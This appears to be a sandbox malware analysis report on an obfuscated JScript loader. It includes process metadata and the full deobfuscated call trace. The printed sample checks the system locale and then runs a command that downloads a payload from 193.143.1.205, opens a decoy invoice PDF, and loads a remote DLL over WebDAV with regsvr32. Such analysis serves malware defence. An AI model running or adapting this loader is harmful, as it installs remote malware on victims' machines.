Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:28:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1660,i,3270865827479625269,14063271635695022371,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gbcbehdhx() {	gbcbehdhx() ➔ undefined
1	xlozcr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wglyx = this[urtwwtup + mzleukjgv + deejd + wtoyqdvhj + tsaqdld + amsib + ytocrynxs + vmrytkhb] ( this[ohsficye + pfwuihb + jfnxrdazq + deejd + mpzgaz + urtwwtup + vmrytkhb][essarsv + deejd + tsaqdld + mzleukjgv + vmrytkhb + tsaqdld + rykweqwf + ieqpe + xqblvyzra + tsaqdld + jfnxrdazq + vmrytkhb] ( ohsficye + pfwuihb + jfnxrdazq + deejd + mpzgaz + urtwwtup + vmrytkhb + scyscg + pfwuihb + hzgdunse + tsaqdld + asljkg + asljkg ) [repbenzum + tsaqdld + genlznnbj + repbenzum + tsaqdld + mzleukjgv + wrzcrwh] ( rdcbxfo + itdtk + pcptqx + yvdctdmly + ftrktopc + essarsv + jpnmiymi + repbenzum + repbenzum + pcptqx + jjtlfetdz + bmbusqcr + ftrktopc + jpnmiymi + pfwuihb + pcptqx + repbenzum + ihoymfr + essarsv + oktihwwd + ytocrynxs + vmrytkhb + deejd + oktihwwd + asljkg + qnwbbz + gpgmx + mzleukjgv + ytocrynxs + tsaqdld + asljkg + ihoymfr + amsib + ytocrynxs + vmrytkhb + tsaqdld + deejd + ytocrynxs + mzleukjgv + vmrytkhb + mpzgaz + oktihwwd + ytocrynxs + mzleukjgv + asljkg + ihoymfr + urblljaz + oktihwwd + jfnxrdazq + mzleukjgv + asljkg + tsaqdld ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( uubonzllw = 0 ; uubonzllw < xlozcr[asljkg + tsaqdld + ytocrynxs + genlznnbj + vmrytkhb + hzgdunse] ; ++ uubonzllw )
4	{
5	if ( wglyx == xlozcr[uubonzllw] )
6	{
7	wglyx = true;
8	break ;
9	}
10	}
11	if ( wglyx !== true )
12	this[ohsficye + pfwuihb + jfnxrdazq + deejd + mpzgaz + urtwwtup + vmrytkhb][ibzpdyptu + awrhjn + mpzgaz + vmrytkhb] ( );
13	this[ohsficye + pfwuihb + jfnxrdazq + deejd + mpzgaz + urtwwtup + vmrytkhb][essarsv + deejd + tsaqdld + mzleukjgv + vmrytkhb + tsaqdld + rykweqwf + ieqpe + xqblvyzra + tsaqdld + jfnxrdazq + vmrytkhb] ( ohsficye + pfwuihb + jfnxrdazq + deejd + mpzgaz + urtwwtup + vmrytkhb + scyscg + pfwuihb + hzgdunse + tsaqdld + asljkg + asljkg ) [deejd + awrhjn + ytocrynxs] ( jfnxrdazq + xrpfi + wrzcrwh + qnwbbz + fyjdhnka + jfnxrdazq + qnwbbz + urtwwtup + oktihwwd + jpsqhpg + tsaqdld + deejd + wtoyqdvhj + hzgdunse + tsaqdld + asljkg + asljkg + scyscg + tsaqdld + vawbsitbh + tsaqdld + qnwbbz + isweqhy + essarsv + oktihwwd + xrpfi + xrpfi + mzleukjgv + ytocrynxs + wrzcrwh + qnwbbz + zylqmfe + amsib + ytocrynxs + ewxrk + oktihwwd + nxccgi + tsaqdld + isweqhy + ohsficye + tsaqdld + ieqpe + repbenzum + tsaqdld + snxozpxx + awrhjn + tsaqdld + wtoyqdvhj + vmrytkhb + qnwbbz + isweqhy + rykweqwf + awrhjn + vmrytkhb + njnuke + mpzgaz + asljkg + tsaqdld + qnwbbz + ncfgjje + vmrytkhb + tsaqdld + xrpfi + urtwwtup + ncfgjje + ihoymfr + mpzgaz + ytocrynxs + ewxrk + oktihwwd + mpzgaz + jfnxrdazq + tsaqdld + scyscg + urtwwtup + wrzcrwh + spimmax + qnwbbz + hzgdunse + vmrytkhb + vmrytkhb + urtwwtup + qlgyiutcv + fyjdhnka + fyjdhnka + tsdippai + fdwxx + slotcuel + scyscg + tsdippai + skgjmbqxx + slotcuel + scyscg + tsdippai + scyscg + gnviw + rxpjbkobs + uatjgz + fyjdhnka + mpzgaz + ytocrynxs + ewxrk + oktihwwd + mpzgaz + jfnxrdazq + tsaqdld + scyscg + urtwwtup + hzgdunse + urtwwtup + zylqmfe + zyulzyss + zyulzyss + wtoyqdvhj + vmrytkhb + mzleukjgv + deejd + vmrytkhb + qnwbbz + ncfgjje + vmrytkhb + tsaqdld + xrpfi + urtwwtup + ncfgjje + ihoymfr + mpzgaz + ytocrynxs + ewxrk + oktihwwd + mpzgaz + jfnxrdazq + tsaqdld + scyscg + urtwwtup + wrzcrwh + spimmax + zyulzyss + zyulzyss + jfnxrdazq + xrpfi + wrzcrwh + qnwbbz + fyjdhnka + jfnxrdazq + qnwbbz + ytocrynxs + tsaqdld + vmrytkhb + qnwbbz + awrhjn + wtoyqdvhj + tsaqdld + qnwbbz + ihoymfr + ihoymfr + tsdippai + fdwxx + slotcuel + scyscg + tsdippai + skgjmbqxx + slotcuel + scyscg + tsdippai + scyscg + gnviw + rxpjbkobs + uatjgz + jotwbcq + ydauhffs + ydauhffs + ydauhffs + ydauhffs + ihoymfr + wrzcrwh + mzleukjgv + ewxrk + jpsqhpg + jpsqhpg + jpsqhpg + deejd + oktihwwd + oktihwwd + vmrytkhb + ihoymfr + zyulzyss + zyulzyss + jfnxrdazq + xrpfi + wrzcrwh + qnwbbz + fyjdhnka + jfnxrdazq + qnwbbz + deejd + tsaqdld + genlznnbj + wtoyqdvhj + ewxrk + deejd + slotcuel + gnviw + qnwbbz + fyjdhnka + wtoyqdvhj + qnwbbz + ihoymfr + ihoymfr + tsdippai + fdwxx + slotcuel + scyscg + tsdippai + skgjmbqxx + slotcuel + scyscg + tsdippai + scyscg + gnviw + rxpjbkobs + uatjgz + jotwbcq + ydauhffs + ydauhffs + ydauhffs + ydauhffs + ihoymfr + wrzcrwh + mzleukjgv + ewxrk + jpsqhpg + jpsqhpg + jpsqhpg + deejd + oktihwwd + oktihwwd + vmrytkhb + ihoymfr + tsdippai + tsdippai + ydauhffs + rxpjbkobs + fdwxx + gnviw + rxpjbkobs + uatjgz + qsxckh + rxpjbkobs + gnviw + gnviw + ydauhffs + wirlhbzl + slotcuel + scyscg + wrzcrwh + asljkg + asljkg, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll",0,false) ➔ 0
14	}
15	wrzcrwh = "j";
16	wrzcrwh = "A";
17	wrzcrwh = "m";
18	wrzcrwh = "x";
19	wrzcrwh = "q";
20	wrzcrwh = "x";
21	wrzcrwh = "q";
22	wrzcrwh = "T";
23	wrzcrwh = "g";
24	wrzcrwh = "E";
25	wrzcrwh = "D";
26	wrzcrwh = "L";
27	wrzcrwh = "f";
28	wrzcrwh = "U";
29	wrzcrwh = "l";
30	wrzcrwh = "R";
31	wrzcrwh = "u";
32	wrzcrwh = "n";
33	wrzcrwh = "F";
34	wrzcrwh = "Y";
35	wrzcrwh = "o";
36	wrzcrwh = "i";
37	wrzcrwh = "d";
38	slotcuel = "O";
39	slotcuel = "D";
40	slotcuel = "A";
41	slotcuel = "j";
42	slotcuel = "n";
43	slotcuel = "K";
44	slotcuel = "N";
45	slotcuel = "h";
46	slotcuel = "c";
47	slotcuel = "j";
48	slotcuel = "L";
49	slotcuel = "e";
50	slotcuel = "r";
51	slotcuel = "E";
52	slotcuel = "C";
53	slotcuel = "j";
54	slotcuel = "y";
55	slotcuel = "l";
56	slotcuel = "w";
57	slotcuel = "3";
58	mzleukjgv = "s";
59	mzleukjgv = "J";
60	mzleukjgv = "u";
61	mzleukjgv = "E";
62	mzleukjgv = "h";
63	mzleukjgv = "c";
64	mzleukjgv = "t";
65	mzleukjgv = "a";
66	ydauhffs = "j";
67	ydauhffs = "G";
68	ydauhffs = "b";
69	ydauhffs = "v";
70	ydauhffs = "p";
71	ydauhffs = "e";
72	ydauhffs = "8";
73	rdcbxfo = "D";
74	rdcbxfo = "s";
75	rdcbxfo = "H";
76	qlgyiutcv = "s";
77	qlgyiutcv = "f";
78	qlgyiutcv = "V";
79	qlgyiutcv = "T";
80	qlgyiutcv = "M";
81	qlgyiutcv = "T";
82	qlgyiutcv = "A";
83	qlgyiutcv = "c";
84	qlgyiutcv = "f";
85	qlgyiutcv = "K";
86	qlgyiutcv = "F";
87	qlgyiutcv = "c";
88	qlgyiutcv = "e";
89	qlgyiutcv = "K";
90	qlgyiutcv = "s";
91	qlgyiutcv = "K";
92	qlgyiutcv = "P";
93	qlgyiutcv = "G";
94	qlgyiutcv = "U";
95	qlgyiutcv = "d";
96	qlgyiutcv = "D";
97	qlgyiutcv = "w";
98	qlgyiutcv = "N";
99	qlgyiutcv = "i";
100	qlgyiutcv = "x";
101	qlgyiutcv = "N";
102	qlgyiutcv = "J";
103	qlgyiutcv = "h";
104	qlgyiutcv = "e";
105	qlgyiutcv = ":";
106	ewxrk = "u";
107	ewxrk = "W";
108	ewxrk = "H";
109	ewxrk = "Y";
110	ewxrk = "A";
111	ewxrk = "r";
112	ewxrk = "V";
113	ewxrk = "j";
114	ewxrk = "d";
115	ewxrk = "y";
116	ewxrk = "W";
117	ewxrk = "K";
118	ewxrk = "g";
119	ewxrk = "b";
120	ewxrk = "N";
121	ewxrk = "B";
122	ewxrk = "O";
123	ewxrk = "P";
124	ewxrk = "h";
125	ewxrk = "i";
126	ewxrk = "k";
127	ewxrk = "f";
128	ewxrk = "J";
129	ewxrk = "z";
130	ewxrk = "k";
131	ewxrk = "s";
132	ewxrk = "k";
133	ewxrk = "v";
134	ewxrk = "O";
135	ewxrk = "F";
136	ewxrk = "j";
137	ewxrk = "W";
138	ewxrk = "M";
139	ewxrk = "F";
140	ewxrk = "v";
141	gnviw = "E";
142	gnviw = "p";
143	gnviw = "t";
144	gnviw = "D";
145	gnviw = "r";
146	gnviw = "T";
147	gnviw = "T";
148	gnviw = "T";
149	gnviw = "v";
150	gnviw = "t";
151	gnviw = "u";
152	gnviw = "a";
153	gnviw = "C";
154	gnviw = "J";
155	gnviw = "s";
156	gnviw = "l";
157	gnviw = "y";
158	gnviw = "2";
159	yvdctdmly = "A";
160	yvdctdmly = "C";
161	yvdctdmly = "E";
162	yvdctdmly = "M";
163	yvdctdmly = "L";
164	yvdctdmly = "q";
165	yvdctdmly = "e";
166	yvdctdmly = "w";
167	yvdctdmly = "a";
168	yvdctdmly = "H";
169	yvdctdmly = "V";
170	yvdctdmly = "K";
171	yvdctdmly = "v";
172	yvdctdmly = "A";
173	yvdctdmly = "Q";
174	yvdctdmly = "L";
175	yvdctdmly = "L";
176	yvdctdmly = "w";
177	yvdctdmly = "H";
178	yvdctdmly = "H";
179	yvdctdmly = "n";
180	yvdctdmly = "v";
181	yvdctdmly = "N";
182	yvdctdmly = "Y";
183	jfnxrdazq = "U";
184	jfnxrdazq = "J";
185	jfnxrdazq = "s";
186	jfnxrdazq = "D";
187	jfnxrdazq = "o";
188	jfnxrdazq = "E";
189	jfnxrdazq = "g";
190	jfnxrdazq = "y";
191	jfnxrdazq = "U";
192	jfnxrdazq = "O";
193	jfnxrdazq = "h";
194	jfnxrdazq = "r";
195	jfnxrdazq = "U";
196	jfnxrdazq = "L";
197	jfnxrdazq = "z";
198	jfnxrdazq = "e";
199	jfnxrdazq = "M";
200	jfnxrdazq = "O";
201	jfnxrdazq = "G";
202	jfnxrdazq = "h";
203	jfnxrdazq = "V";
204	jfnxrdazq = "V";
205	jfnxrdazq = "m";
206	jfnxrdazq = "Y";
207	jfnxrdazq = "c";
208	jfnxrdazq = "t";
209	jfnxrdazq = "n";
210	jfnxrdazq = "G";
211	jfnxrdazq = "y";
212	jfnxrdazq = "c";
213	zylqmfe = "G";
214	zylqmfe = "v";
215	zylqmfe = "p";
216	zylqmfe = "m";
217	zylqmfe = "s";
218	zylqmfe = "i";
219	zylqmfe = "W";
220	zylqmfe = "E";
221	zylqmfe = "p";
222	zylqmfe = "l";
223	zylqmfe = "R";
224	zylqmfe = "C";
225	zylqmfe = "W";
226	zylqmfe = "E";
227	zylqmfe = "U";
228	zylqmfe = "H";
229	zylqmfe = "S";
230	zylqmfe = "L";
231	zylqmfe = "w";
232	zylqmfe = "j";
233	zylqmfe = "Z";
234	zylqmfe = "O";
235	zylqmfe = "X";
236	zylqmfe = "Z";
237	zylqmfe = "I";
238	zylqmfe = "h";
239	zylqmfe = "z";
240	zylqmfe = "A";
241	zylqmfe = "Z";
242	zylqmfe = "S";
243	zylqmfe = "V";
244	zylqmfe = "g";
245	zylqmfe = "q";
246	zylqmfe = "z";
247	zylqmfe = "p";
248	zylqmfe = "z";
249	zylqmfe = "l";
250	zylqmfe = "F";
251	zylqmfe = "j";
252	zylqmfe = "L";
253	zylqmfe = "\"";
254	wirlhbzl = "X";
255	wirlhbzl = "K";
256	wirlhbzl = "H";
257	wirlhbzl = "A";
258	wirlhbzl = "u";
259	wirlhbzl = "V";
260	wirlhbzl = "h";
261	wirlhbzl = "o";
262	wirlhbzl = "6";
263	uatjgz = "g";
264	uatjgz = "G";
265	uatjgz = "P";
266	uatjgz = "x";
267	uatjgz = "a";
268	uatjgz = "b";
269	uatjgz = "v";
270	uatjgz = "Q";
271	uatjgz = "g";
272	uatjgz = "F";
273	uatjgz = "p";
274	uatjgz = "G";
275	uatjgz = "w";
276	uatjgz = "w";
277	uatjgz = "r";
278	uatjgz = "q";
279	uatjgz = "w";
280	uatjgz = "X";
281	uatjgz = "F";
282	uatjgz = "T";
283	uatjgz = "f";
284	uatjgz = "F";
285	uatjgz = "m";
286	uatjgz = "U";
287	uatjgz = "f";
288	uatjgz = "U";
289	uatjgz = "x";
290	uatjgz = "H";
291	uatjgz = "i";
292	uatjgz = "5";
293	pcptqx = "w";
294	pcptqx = "C";
295	pcptqx = "m";
296	pcptqx = "x";
297	pcptqx = "I";
298	pcptqx = "q";
299	pcptqx = "t";
300	pcptqx = "C";
301	pcptqx = "z";
302	pcptqx = "J";
303	pcptqx = "D";
304	pcptqx = "n";
305	pcptqx = "w";
306	pcptqx = "Z";
307	pcptqx = "T";
308	pcptqx = "x";
309	pcptqx = "P";
310	pcptqx = "x";
311	pcptqx = "E";
312	pcptqx = "a";
313	pcptqx = "p";
314	pcptqx = "b";
315	pcptqx = "D";
316	pcptqx = "I";
317	pcptqx = "d";
318	pcptqx = "v";
319	pcptqx = "i";
320	pcptqx = "T";
321	pcptqx = "m";
322	pcptqx = "a";
323	pcptqx = "T";
324	pcptqx = "l";
325	pcptqx = "S";
326	pcptqx = "V";
327	pcptqx = "J";
328	pcptqx = "q";
329	pcptqx = "j";
330	pcptqx = "Y";
331	pcptqx = "E";
332	scyscg = "R";
333	scyscg = "Y";
334	scyscg = ".";
335	oktihwwd = "P";
336	oktihwwd = "Q";
337	oktihwwd = "E";
338	oktihwwd = "K";
339	oktihwwd = "k";
340	oktihwwd = "D";
341	oktihwwd = "k";
342	oktihwwd = "l";
343	oktihwwd = "z";
344	oktihwwd = "b";
345	oktihwwd = "t";
346	oktihwwd = "S";
347	oktihwwd = "P";
348	oktihwwd = "w";
349	oktihwwd = "J";
350	oktihwwd = "C";
351	oktihwwd = "U";
352	oktihwwd = "l";
353	oktihwwd = "n";
354	oktihwwd = "c";
355	oktihwwd = "J";
356	oktihwwd = "n";
357	oktihwwd = "D";
358	oktihwwd = "E";
359	oktihwwd = "D";
360	oktihwwd = "O";
361	oktihwwd = "s";
362	oktihwwd = "g";
363	oktihwwd = "j";
364	oktihwwd = "Q";
365	oktihwwd = "j";
366	oktihwwd = "a";
367	oktihwwd = "w";
368	oktihwwd = "A";
369	oktihwwd = "s";
370	oktihwwd = "T";
371	oktihwwd = "r";
372	oktihwwd = "X";
373	oktihwwd = "b";
374	oktihwwd = "w";
375	oktihwwd = "v";
376	oktihwwd = "o";
377	vmrytkhb = "w";
378	vmrytkhb = "i";
379	vmrytkhb = "B";
380	vmrytkhb = "D";
381	vmrytkhb = "Y";
382	vmrytkhb = "r";
383	vmrytkhb = "g";
384	vmrytkhb = "w";
385	vmrytkhb = "J";
386	vmrytkhb = "l";
387	vmrytkhb = "b";
388	vmrytkhb = "O";
389	vmrytkhb = "t";
390	xrpfi = "Q";
391	xrpfi = "d";
392	xrpfi = "M";
393	xrpfi = "X";
394	xrpfi = "K";
395	xrpfi = "s";
396	xrpfi = "w";
397	xrpfi = "a";
398	xrpfi = "T";
399	xrpfi = "d";
400	xrpfi = "h";
401	xrpfi = "k";
402	xrpfi = "F";
403	xrpfi = "l";
404	xrpfi = "N";
405	xrpfi = "K";
406	xrpfi = "b";
407	xrpfi = "k";
408	xrpfi = "v";
409	xrpfi = "m";
410	xrpfi = "S";
411	xrpfi = "S";
412	xrpfi = "t";
413	xrpfi = "f";
414	xrpfi = "t";
415	xrpfi = "h";
416	xrpfi = "Y";
417	xrpfi = "A";
418	xrpfi = "r";
419	xrpfi = "i";
420	xrpfi = "T";
421	xrpfi = "Q";
422	xrpfi = "Q";
423	xrpfi = "C";
424	xrpfi = "D";
425	xrpfi = "N";
426	xrpfi = "n";
427	xrpfi = "U";
428	xrpfi = "n";
429	xrpfi = "w";
430	xrpfi = "a";
431	xrpfi = "f";
432	xrpfi = "W";
433	xrpfi = "m";
434	snxozpxx = "H";
435	snxozpxx = "j";
436	snxozpxx = "d";
437	snxozpxx = "p";
438	snxozpxx = "Z";
439	snxozpxx = "H";
440	snxozpxx = "E";
441	snxozpxx = "E";
442	snxozpxx = "q";
443	zyulzyss = "m";
444	zyulzyss = "v";
445	zyulzyss = "i";
446	zyulzyss = "O";
447	zyulzyss = "l";
448	zyulzyss = "z";
449	zyulzyss = "M";
450	zyulzyss = "S";
451	zyulzyss = "H";
452	zyulzyss = "v";
453	zyulzyss = "Z";
454	zyulzyss = "w";
455	zyulzyss = "y";
456	zyulzyss = "e";
457	zyulzyss = "A";
458	zyulzyss = "H";
459	zyulzyss = "e";
460	zyulzyss = "X";
461	zyulzyss = "U";
462	zyulzyss = "j";
463	zyulzyss = "V";
464	zyulzyss = "V";
465	zyulzyss = "E";
466	zyulzyss = "P";
467	zyulzyss = "b";
468	zyulzyss = "&";
469	awrhjn = "g";
470	awrhjn = "T";
471	awrhjn = "W";
472	awrhjn = "Q";
473	awrhjn = "P";
474	awrhjn = "x";
475	awrhjn = "E";
476	awrhjn = "X";
477	awrhjn = "u";
478	awrhjn = "Z";
479	awrhjn = "N";
480	awrhjn = "Y";
481	awrhjn = "g";
482	awrhjn = "E";
483	awrhjn = "W";
484	awrhjn = "A";
485	awrhjn = "o";
486	awrhjn = "N";
487	awrhjn = "B";
488	awrhjn = "x";
489	awrhjn = "C";
490	awrhjn = "U";
491	awrhjn = "D";
492	awrhjn = "n";
493	awrhjn = "v";
494	awrhjn = "L";
495	awrhjn = "b";
496	awrhjn = "Q";
497	awrhjn = "I";
498	awrhjn = "a";
499	awrhjn = "o";
500	awrhjn = "n";
501	awrhjn = "x";
502	awrhjn = "d";
503	awrhjn = "Q";
504	awrhjn = "L";
505	awrhjn = "b";
506	awrhjn = "l";
507	awrhjn = "f";
508	awrhjn = "L";
509	awrhjn = "U";
510	awrhjn = "e";
511	awrhjn = "d";
512	awrhjn = "u";
513	ibzpdyptu = "L";
514	ibzpdyptu = "G";
515	ibzpdyptu = "U";
516	ibzpdyptu = "g";
517	ibzpdyptu = "J";
518	ibzpdyptu = "p";
519	ibzpdyptu = "c";
520	ibzpdyptu = "p";
521	ibzpdyptu = "T";
522	ibzpdyptu = "Q";
523	asljkg = "P";
524	asljkg = "b";
525	asljkg = "x";
526	asljkg = "y";
527	asljkg = "y";
528	asljkg = "C";
529	asljkg = "k";
530	asljkg = "Q";
531	asljkg = "o";
532	asljkg = "v";
533	asljkg = "W";
534	asljkg = "B";
535	asljkg = "f";
536	asljkg = "e";
537	asljkg = "i";
538	asljkg = "t";
539	asljkg = "J";
540	asljkg = "u";
541	asljkg = "M";
542	asljkg = "i";
543	asljkg = "M";
544	asljkg = "a";
545	asljkg = "F";
546	asljkg = "m";
547	asljkg = "D";
548	asljkg = "z";
549	asljkg = "l";
550	ohsficye = "p";
551	ohsficye = "z";
552	ohsficye = "I";
553	ohsficye = "X";
554	ohsficye = "N";
555	ohsficye = "S";
556	ohsficye = "s";
557	ohsficye = "W";
558	ohsficye = "s";
559	ohsficye = "Y";
560	ohsficye = "R";
561	ohsficye = "i";
562	ohsficye = "W";
563	wtoyqdvhj = "s";
564	hzgdunse = "O";
565	hzgdunse = "b";
566	hzgdunse = "W";
567	hzgdunse = "F";
568	hzgdunse = "S";
569	hzgdunse = "E";
570	hzgdunse = "b";
571	hzgdunse = "W";
572	hzgdunse = "T";
573	hzgdunse = "w";
574	hzgdunse = "y";
575	hzgdunse = "A";
576	hzgdunse = "w";
577	hzgdunse = "u";
578	hzgdunse = "s";
579	hzgdunse = "R";
580	hzgdunse = "A";
581	hzgdunse = "n";
582	hzgdunse = "S";
583	hzgdunse = "s";
584	hzgdunse = "C";
585	hzgdunse = "W";
586	hzgdunse = "U";
587	hzgdunse = "P";
588	hzgdunse = "o";
589	hzgdunse = "T";
590	hzgdunse = "S";
591	hzgdunse = "o";
592	hzgdunse = "F";
593	hzgdunse = "b";
594	hzgdunse = "W";
595	hzgdunse = "g";
596	hzgdunse = "J";
597	hzgdunse = "S";
598	hzgdunse = "k";
599	hzgdunse = "E";
600	hzgdunse = "h";
601	jpnmiymi = "p";
602	jpnmiymi = "X";
603	jpnmiymi = "A";
604	jpnmiymi = "t";
605	jpnmiymi = "b";
606	jpnmiymi = "R";
607	jpnmiymi = "e";
608	jpnmiymi = "y";
609	jpnmiymi = "B";
610	jpnmiymi = "C";
611	jpnmiymi = "F";
612	jpnmiymi = "H";
613	jpnmiymi = "U";
614	jpnmiymi = "F";
615	jpnmiymi = "q";
616	jpnmiymi = "y";
617	jpnmiymi = "K";
618	jpnmiymi = "Z";
619	jpnmiymi = "R";
620	jpnmiymi = "B";
621	jpnmiymi = "o";
622	jpnmiymi = "b";
623	jpnmiymi = "M";
624	jpnmiymi = "U";
625	repbenzum = "C";
626	repbenzum = "z";
627	repbenzum = "l";
628	repbenzum = "f";
629	repbenzum = "X";
630	repbenzum = "W";
631	repbenzum = "r";
632	repbenzum = "f";
633	repbenzum = "N";
634	repbenzum = "q";
635	repbenzum = "Q";
636	repbenzum = "G";
637	repbenzum = "m";
638	repbenzum = "N";
639	repbenzum = "m";
640	repbenzum = "J";
641	repbenzum = "Z";
642	repbenzum = "q";
643	repbenzum = "e";
644	repbenzum = "F";
645	repbenzum = "Y";
646	repbenzum = "z";
647	repbenzum = "k";
648	repbenzum = "Z";
649	repbenzum = "I";
650	repbenzum = "k";
651	repbenzum = "i";
652	repbenzum = "I";
653	repbenzum = "o";
654	repbenzum = "T";
655	repbenzum = "v";
656	repbenzum = "o";
657	repbenzum = "k";
658	repbenzum = "a";
659	repbenzum = "X";
660	repbenzum = "z";
661	repbenzum = "v";
662	repbenzum = "Y";
663	repbenzum = "x";
664	repbenzum = "N";
665	repbenzum = "R";
666	genlznnbj = "l";
667	genlznnbj = "n";
668	genlznnbj = "E";
669	genlznnbj = "A";
670	genlznnbj = "t";
671	genlznnbj = "H";
672	genlznnbj = "P";
673	genlznnbj = "q";
674	genlznnbj = "T";
675	genlznnbj = "p";
676	genlznnbj = "d";
677	genlznnbj = "L";
678	genlznnbj = "g";
679	xqblvyzra = "o";
680	xqblvyzra = "e";
681	xqblvyzra = "S";
682	xqblvyzra = "R";
683	xqblvyzra = "m";
684	xqblvyzra = "w";
685	xqblvyzra = "Q";
686	xqblvyzra = "O";
687	xqblvyzra = "f";
688	xqblvyzra = "w";
689	xqblvyzra = "L";
690	xqblvyzra = "L";
691	xqblvyzra = "T";
692	xqblvyzra = "j";
693	fdwxx = "x";
694	fdwxx = "e";
695	fdwxx = "j";
696	fdwxx = "j";
697	fdwxx = "E";
698	fdwxx = "G";
699	fdwxx = "V";
700	fdwxx = "A";
701	fdwxx = "e";
702	fdwxx = "Z";
703	fdwxx = "m";
704	fdwxx = "h";
705	fdwxx = "h";
706	fdwxx = "E";
707	fdwxx = "P";
708	fdwxx = "e";
709	fdwxx = "b";
710	fdwxx = "m";
711	fdwxx = "q";
712	fdwxx = "K";
713	fdwxx = "r";
714	fdwxx = "i";
715	fdwxx = "m";
716	fdwxx = "P";
717	fdwxx = "a";
718	fdwxx = "G";
719	fdwxx = "l";
720	fdwxx = "J";
721	fdwxx = "s";
722	fdwxx = "9";
723	ytocrynxs = "Y";
724	ytocrynxs = "k";
725	ytocrynxs = "C";
726	ytocrynxs = "O";
727	ytocrynxs = "p";
728	ytocrynxs = "G";
729	ytocrynxs = "d";
730	ytocrynxs = "m";
731	ytocrynxs = "n";
732	ytocrynxs = "h";
733	ytocrynxs = "F";
734	ytocrynxs = "r";
735	ytocrynxs = "H";
736	ytocrynxs = "S";
737	ytocrynxs = "I";
738	ytocrynxs = "M";
739	ytocrynxs = "Z";
740	ytocrynxs = "m";
741	ytocrynxs = "d";
742	ytocrynxs = "n";
743	ihoymfr = "p";
744	ihoymfr = "D";
745	ihoymfr = "D";
746	ihoymfr = "c";
747	ihoymfr = "e";
748	ihoymfr = "o";
749	ihoymfr = "z";
750	ihoymfr = "K";
751	ihoymfr = "d";
752	ihoymfr = "n";
753	ihoymfr = "z";
754	ihoymfr = "m";
755	ihoymfr = "L";
756	ihoymfr = "j";
757	ihoymfr = "\\";
758	itdtk = "c";
759	itdtk = "o";
760	itdtk = "J";
761	itdtk = "n";
762	itdtk = "d";
763	itdtk = "A";
764	itdtk = "Y";
765	itdtk = "s";
766	itdtk = "m";
767	itdtk = "Q";
768	itdtk = "k";
769	itdtk = "q";
770	itdtk = "U";
771	itdtk = "j";
772	itdtk = "M";
773	itdtk = "s";
774	itdtk = "i";
775	itdtk = "n";
776	itdtk = "T";
777	itdtk = "K";
778	qnwbbz = "D";
779	qnwbbz = "x";
780	qnwbbz = "G";
781	qnwbbz = "y";
782	qnwbbz = "J";
783	qnwbbz = "i";
784	qnwbbz = "S";
785	qnwbbz = "Z";
786	qnwbbz = "F";
787	qnwbbz = "A";
788	qnwbbz = "W";
789	qnwbbz = "p";
790	qnwbbz = "R";
791	qnwbbz = "S";
792	qnwbbz = "q";
793	qnwbbz = "M";
794	qnwbbz = "t";
795	qnwbbz = "b";
796	qnwbbz = "o";
797	qnwbbz = "Y";
798	qnwbbz = "f";
799	qnwbbz = "D";
800	qnwbbz = "A";
801	qnwbbz = "h";
802	qnwbbz = "Y";
803	qnwbbz = "u";
804	qnwbbz = "m";
805	qnwbbz = "z";
806	qnwbbz = "O";
807	qnwbbz = "e";
808	qnwbbz = "M";
809	qnwbbz = "O";
810	qnwbbz = "k";
811	qnwbbz = "m";
812	qnwbbz = " ";
813	ncfgjje = "r";
814	ncfgjje = "E";
815	ncfgjje = "G";
816	ncfgjje = "c";
817	ncfgjje = "e";
818	ncfgjje = "y";
819	ncfgjje = "F";
820	ncfgjje = "X";
821	ncfgjje = "C";
822	ncfgjje = "e";
823	ncfgjje = "w";
824	ncfgjje = "y";
825	ncfgjje = "v";
826	ncfgjje = "G";
827	ncfgjje = "F";
828	ncfgjje = "X";
829	ncfgjje = "z";
830	ncfgjje = "I";
831	ncfgjje = "i";
832	ncfgjje = "X";
833	ncfgjje = "q";
834	ncfgjje = "%";
835	bmbusqcr = "C";
836	bmbusqcr = "P";
837	bmbusqcr = "b";
838	bmbusqcr = "t";
839	bmbusqcr = "k";
840	bmbusqcr = "p";
841	bmbusqcr = "k";
842	bmbusqcr = "Z";
843	bmbusqcr = "w";
844	bmbusqcr = "B";
845	bmbusqcr = "M";
846	bmbusqcr = "y";
847	bmbusqcr = "T";
848	spimmax = "p";
849	spimmax = "k";
850	spimmax = "R";
851	spimmax = "Q";
852	spimmax = "E";
853	spimmax = "E";
854	spimmax = "c";
855	spimmax = "Y";
856	spimmax = "w";
857	spimmax = "U";
858	spimmax = "t";
859	spimmax = "B";
860	spimmax = "Y";
861	spimmax = "f";
862	spimmax = "C";
863	spimmax = "t";
864	spimmax = "J";
865	spimmax = "X";
866	spimmax = "r";
867	spimmax = "d";
868	spimmax = "V";
869	spimmax = "H";
870	spimmax = "s";
871	spimmax = "n";
872	spimmax = "J";
873	spimmax = "W";
874	spimmax = "F";
875	spimmax = "f";
876	spimmax = "v";
877	spimmax = "s";
878	spimmax = "R";
879	spimmax = "f";
880	rxpjbkobs = "n";
881	rxpjbkobs = "v";
